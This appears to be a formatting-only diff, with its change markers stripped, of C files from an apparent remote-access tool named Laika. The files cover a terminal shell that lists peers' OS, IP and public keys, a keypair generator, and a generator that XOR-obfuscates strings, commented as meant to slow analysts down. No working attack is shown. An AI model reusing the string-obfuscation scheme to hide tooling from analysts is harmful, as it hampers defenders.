sodium_bin2hex(buf, sizeof(buf), peer->pub, crypto_kx_PUBLICKEYBYTES);
shellT_printf("\t%s-%s\n\tOS: %s\n\tINET: %s\n\tPUBKEY: %s\n", peer->ipStr, peer->hostname, shellP_osTypeStr(peer), peer->inet, buf);
shellT_printf("\t%s-%s\n\tOS: %s\n\tINET: %s\n\tPUBKEY: %s\n", peer->ipStr, peer->hostname,
shellP_osTypeStr(peer), peer->inet, buf);
}

View File

@ -1,24 +1,26 @@
#include "lmem.h"
#include "scmd.h"
#include "sterm.h"
#define KEY_ESCAPE 0x001b
#define KEY_ENTER 0x000a
#define KEY_BACKSPACE 0x007f
#define KEY_UP 0x0105
#define KEY_DOWN 0x0106
#define KEY_LEFT 0x0107
#define KEY_RIGHT 0x0108
#include "lmem.h"
#include "scmd.h"
#define cursorForward(x) printf("\033[%dC", (x))
#define KEY_ESCAPE 0x001b
#define KEY_ENTER 0x000a
#define KEY_BACKSPACE 0x007f
#define KEY_UP 0x0105
#define KEY_DOWN 0x0106
#define KEY_LEFT 0x0107
#define KEY_RIGHT 0x0108
#define cursorForward(x) printf("\033[%dC", (x))
#define cursorBackward(x) printf("\033[%dD", (x))
#define clearLine() printf("\033[2K")
#define clearLine() printf("\033[2K")
struct termios orig_termios;
char *cmd, *prompt = "$> ";
int cmdCount = 0, cmdCap = 4, cmdCursor = 0;
void shellT_conioTerm(void) {
void shellT_conioTerm(void)
{
struct termios new_termios;
/* take two copies - one for now, one for later */
@ -31,43 +33,80 @@ void shellT_conioTerm(void) {
tcsetattr(STDIN_FILENO, TCSANOW, &new_termios);
}
void shellT_resetTerm(void) {
void shellT_resetTerm(void)
{
tcsetattr(STDIN_FILENO, TCSANOW, &orig_termios);
}
const char *shellT_getForeColor(TERM_COLOR col) {
const char *shellT_getForeColor(TERM_COLOR col)
{
switch (col) {
case TERM_BLACK: return "\033[30m"; break;
case TERM_RED: return "\033[31m"; break;
case TERM_GREEN: return "\033[32m"; break;
case TERM_YELLOW: return "\033[33m"; break;
case TERM_BLUE: return "\033[34m"; break;
case TERM_MAGENTA: return "\033[35m"; break;
case TERM_CYAN: return "\033[36m"; break;
case TERM_WHITE: return "\033[37m"; break;
case TERM_BRIGHT_BLACK: return "\033[90m"; break;
case TERM_BRIGHT_RED: return "\033[91m"; break;
case TERM_BRIGHT_GREEN: return "\033[92m"; break;
case TERM_BRIGHT_YELLOW: return "\033[93m"; break;
case TERM_BRIGHT_BLUE: return "\033[94m"; break;
case TERM_BRIGHT_MAGENTA: return "\033[95m"; break;
case TERM_BRIGHT_CYAN: return "\033[96m"; break;
case TERM_BRIGHT_WHITE: default: return "\033[97m"; break;
case TERM_BLACK:
return "\033[30m";
break;
case TERM_RED:
return "\033[31m";
break;
case TERM_GREEN:
return "\033[32m";
break;
case TERM_YELLOW:
return "\033[33m";
break;
case TERM_BLUE:
return "\033[34m";
break;
case TERM_MAGENTA:
return "\033[35m";
break;
case TERM_CYAN:
return "\033[36m";
break;
case TERM_WHITE:
return "\033[37m";
break;
case TERM_BRIGHT_BLACK:
return "\033[90m";
break;
case TERM_BRIGHT_RED:
return "\033[91m";
break;
case TERM_BRIGHT_GREEN:
return "\033[92m";
break;
case TERM_BRIGHT_YELLOW:
return "\033[93m";
break;
case TERM_BRIGHT_BLUE:
return "\033[94m";
break;
case TERM_BRIGHT_MAGENTA:
return "\033[95m";
break;
case TERM_BRIGHT_CYAN:
return "\033[96m";
break;
case TERM_BRIGHT_WHITE:
default:
return "\033[97m";
break;
}
}
void shellT_printf(const char *format, ...) {
void shellT_printf(const char *format, ...)
{
va_list args;
va_start(args, format);
vprintf(format, args);
va_end(args);
fflush(stdout);
}
/* waits for input for timeout. returns true if input is ready to be read, false if no events */
bool shellT_waitForInput(int timeout) {
bool shellT_waitForInput(int timeout)
{
struct timeval tv;
fd_set fds;
@ -81,16 +120,19 @@ bool shellT_waitForInput(int timeout) {
return select(1, &fds, NULL, NULL, &tv) > 0;
}
int shellT_readRawInput(uint8_t *buf, size_t max) {
int shellT_readRawInput(uint8_t *buf, size_t max)
{
return read(STDIN_FILENO, buf, max);
}
void shellT_writeRawOutput(uint8_t *buf, size_t sz) {
void shellT_writeRawOutput(uint8_t *buf, size_t sz)
{
write(STDOUT_FILENO, buf, sz);
fflush(stdout);
}
void shellT_getTermSize(int *col, int *row) {
void shellT_getTermSize(int *col, int *row)
{
struct winsize ws;
ioctl(STDIN_FILENO, TIOCGWINSZ, &ws);
@ -98,18 +140,20 @@ void shellT_getTermSize(int *col, int *row) {
*row = ws.ws_row;
}
char shellT_getch(void) {
char shellT_getch(void)
{
int r;
char in;
if ((r = shellT_readRawInput((uint8_t*)&in, 1)) > 0) {
if ((r = shellT_readRawInput((uint8_t *)&in, 1)) > 0) {
return in;
} else {
return r;
}
}
int shellT_kbesc(void) {
int shellT_kbesc(void)
{
int c;
/* if no event waiting, it's KEY_ESCAPE */
@ -118,11 +162,21 @@ int shellT_kbesc(void) {
if ((c = shellT_getch()) == '[') {
switch (shellT_getch()) {
case 'A': c = KEY_UP; break;
case 'B': c = KEY_DOWN; break;
case 'C': c = KEY_RIGHT; break;
case 'D': c = KEY_LEFT; break;
default: c = 0; break;
case 'A':
c = KEY_UP;
break;
case 'B':
c = KEY_DOWN;
break;
case 'C':
c = KEY_RIGHT;
break;
case 'D':
c = KEY_LEFT;
break;
default:
c = 0;
break;
}
} else {
c = 0;
@ -130,76 +184,85 @@ int shellT_kbesc(void) {
/* unrecognized key? consume until there's no event */
if (c == 0) {
while (shellT_waitForInput(0)) shellT_getch();
while (shellT_waitForInput(0))
shellT_getch();
}
return c;
}
int shellT_kbget(void) {
int shellT_kbget(void)
{
char c = shellT_getch();
return (c == KEY_ESCAPE) ? shellT_kbesc() : c;
}
void shellT_printPrompt(void) {
void shellT_printPrompt(void)
{
clearLine();
shellT_printf("\r%s%.*s", prompt, cmdCount, (cmd ? cmd : ""));
if (cmdCount > cmdCursor)
cursorBackward(cmdCount-cmdCursor);
cursorBackward(cmdCount - cmdCursor);
fflush(stdout);
}
void shellT_setPrompt(char *_prompt) {
void shellT_setPrompt(char *_prompt)
{
prompt = _prompt;
}
bool isAscii(int c) {
return c >= ' ' && c <= '~'; /* covers every non-controller related ascii characters (ignoring the extended character range) */
/* covers every non-controller related ascii characters (ignoring the extended character range) */
bool isAscii(int c)
{
return c >= ' ' && c <= '~';
}
void shellT_addChar(tShell_client *client, int c) {
void shellT_addChar(tShell_client *client, int c)
{
int i;
switch (c) {
case KEY_BACKSPACE:
if (cmdCursor > 0) {
laikaM_rmvarray(cmd, cmdCount, (cmdCursor-1), 1);
cmdCursor--;
shellT_printPrompt();
}
break;
case KEY_LEFT:
if (cmdCursor > 0) {
cursorBackward(1);
--cmdCursor;
fflush(stdout);
}
break;
case KEY_RIGHT:
if (cmdCursor < cmdCount) {
cursorForward(1);
cmdCursor++;
fflush(stdout);
}
break;
case KEY_ENTER:
if (cmdCount > 0) {
cmd[cmdCount] = '\0';
cmdCount = 0;
cmdCursor = 0;
shellS_runCmd(client, cmd);
shellT_printPrompt();
}
break;
case KEY_UP: case KEY_DOWN: break; /* ignore these */
default:
/* we only want to accept valid input, just ignore non-ascii characters */
if (!isAscii(c))
return;
laikaM_growarray(char, cmd, 1, cmdCount, cmdCap);
laikaM_insertarray(cmd, cmdCount, cmdCursor, 1);
cmd[cmdCursor++] = c;
case KEY_BACKSPACE:
if (cmdCursor > 0) {
laikaM_rmvarray(cmd, cmdCount, (cmdCursor - 1), 1);
cmdCursor--;
shellT_printPrompt();
}
break;
case KEY_LEFT:
if (cmdCursor > 0) {
cursorBackward(1);
--cmdCursor;
fflush(stdout);
}
break;
case KEY_RIGHT:
if (cmdCursor < cmdCount) {
cursorForward(1);
cmdCursor++;
fflush(stdout);
}
break;
case KEY_ENTER:
if (cmdCount > 0) {
cmd[cmdCount] = '\0';
cmdCount = 0;
cmdCursor = 0;
shellS_runCmd(client, cmd);
shellT_printPrompt();
}
break;
case KEY_UP:
case KEY_DOWN:
break; /* ignore these */
default:
/* we only want to accept valid input, just ignore non-ascii characters */
if (!isAscii(c))
return;
laikaM_growarray(char, cmd, 1, cmdCount, cmdCap);
laikaM_insertarray(cmd, cmdCount, cmdCursor, 1);
cmd[cmdCursor++] = c;
shellT_printPrompt();
}
}

View File

@ -1,10 +1,11 @@
#include <stdio.h>
#include <string.h>
#include "lerror.h"
#include "lsodium.h"
int main(int argv, char **argc) {
#include <stdio.h>
#include <string.h>
int main(int argv, char **argc)
{
unsigned char priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
char buf[256];

View File

@ -1,38 +1,46 @@
#include "lconfig.h"
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <inttypes.h>
#include "lconfig.h"
#define ERR(...) do { printf(__VA_ARGS__); exit(EXIT_FAILURE); } while(0);
#define ERR(...) \
do { \
printf(__VA_ARGS__); \
exit(EXIT_FAILURE); \
} while (0);
#define RANDBYTE (rand() % UINT8_MAX)
static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c */\n#ifndef LAIKA_VMBOX_CONFIG_H\n#define LAIKA_VMBOX_CONFIG_H\n\n";
static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c "
"*/\n#ifndef LAIKA_VMBOX_CONFIG_H\n#define LAIKA_VMBOX_CONFIG_H\n\n";
static const char *POSTAMBLE = "\n#endif\n";
void writeArray(FILE *out, uint8_t *data, int sz) {
void writeArray(FILE *out, uint8_t *data, int sz)
{
int i;
fprintf(out, "{");
for (i = 0; i < sz-1; i++) {
for (i = 0; i < sz - 1; i++) {
fprintf(out, "0x%02x, ", data[i]);
}
fprintf(out, "0x%02x};\n", data[sz-1]);
fprintf(out, "0x%02x};\n", data[sz - 1]);
}
void writeDefineArray(FILE *out, char *ident, uint8_t *data) {
void writeDefineArray(FILE *out, char *ident, uint8_t *data)
{
fprintf(out, "#define %s ", ident);
writeArray(out, data, LAIKA_VM_CODESIZE);
}
void writeDefineVal(FILE *out, char *ident, int data) {
void writeDefineVal(FILE *out, char *ident, int data)
{
fprintf(out, "#define %s 0x%02x\n", ident, data);
}
void addPadding(uint8_t *data, int start) {
void addPadding(uint8_t *data, int start)
{
int i;
/* if the box is less than LAIKA_VM_CODESIZE, add semi-random padding */
@ -41,7 +49,8 @@ void addPadding(uint8_t *data, int start) {
}
}
void makeSKIDdata(char *data, int sz, uint8_t *buff, int key) {
void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
{
int i;
for (i = 0; i < sz; i++)
@ -51,13 +60,14 @@ void makeSKIDdata(char *data, int sz, uint8_t *buff, int key) {
addPadding(buff, i);
}
#define MAKESKIDDATA(macro) \
key = RANDBYTE; \
makeSKIDdata(macro, strlen(macro), tmpBuff, key); \
writeDefineVal(out, "KEY_" #macro, key); \
#define MAKESKIDDATA(macro) \
key = RANDBYTE; \
makeSKIDdata(macro, strlen(macro), tmpBuff, key); \
writeDefineVal(out, "KEY_" #macro, key); \
writeDefineArray(out, "DATA_" #macro, tmpBuff);
int main(int argv, char **argc) {
int main(int argv, char **argc)
{
uint8_t tmpBuff[LAIKA_VM_CODESIZE];
int key;
FILE *out;
@ -68,7 +78,8 @@ int main(int argv, char **argc) {
if ((out = fopen(argc[1], "w+")) == NULL)
ERR("Failed to open %s!\n", argc[1]);
srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to slow them down */
srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to
slow them down */
fprintf(out, PREAMBLE);
/* shared */

View File

@ -1,12 +1,14 @@
#include "lbox.h"
#include "lvm.h"
#include <stdio.h>
#include <string.h>
#include "lvm.h"
#include "lbox.h"
/* VM BOX Demo:
A secret message has been xor'd, the BOX_SKID is used to decode the message.
*/
*/
/* clang-format off */
#define VMTEST_STR_DATA { \
0x96, 0xBB, 0xB2, 0xB2, 0xB1, 0xFE, 0x89, 0xB1, \
@ -14,8 +16,11 @@
0xCE, 0xEA, 0xFC, 0x01, 0x9C, 0x23, 0x4D, 0xEE \
};
int main(int argv, char **argc) {
LAIKA_BOX_STARTVAR(char*, str, LAIKA_BOX_SKID(0xDE), VMTEST_STR_DATA)
/* clang-format on */
int main(int argv, char **argc)
{
LAIKA_BOX_STARTVAR(char *, str, LAIKA_BOX_SKID(0xDE), VMTEST_STR_DATA)
printf("%s\n", str);
LAIKA_BOX_ENDVAR(str)
return 0;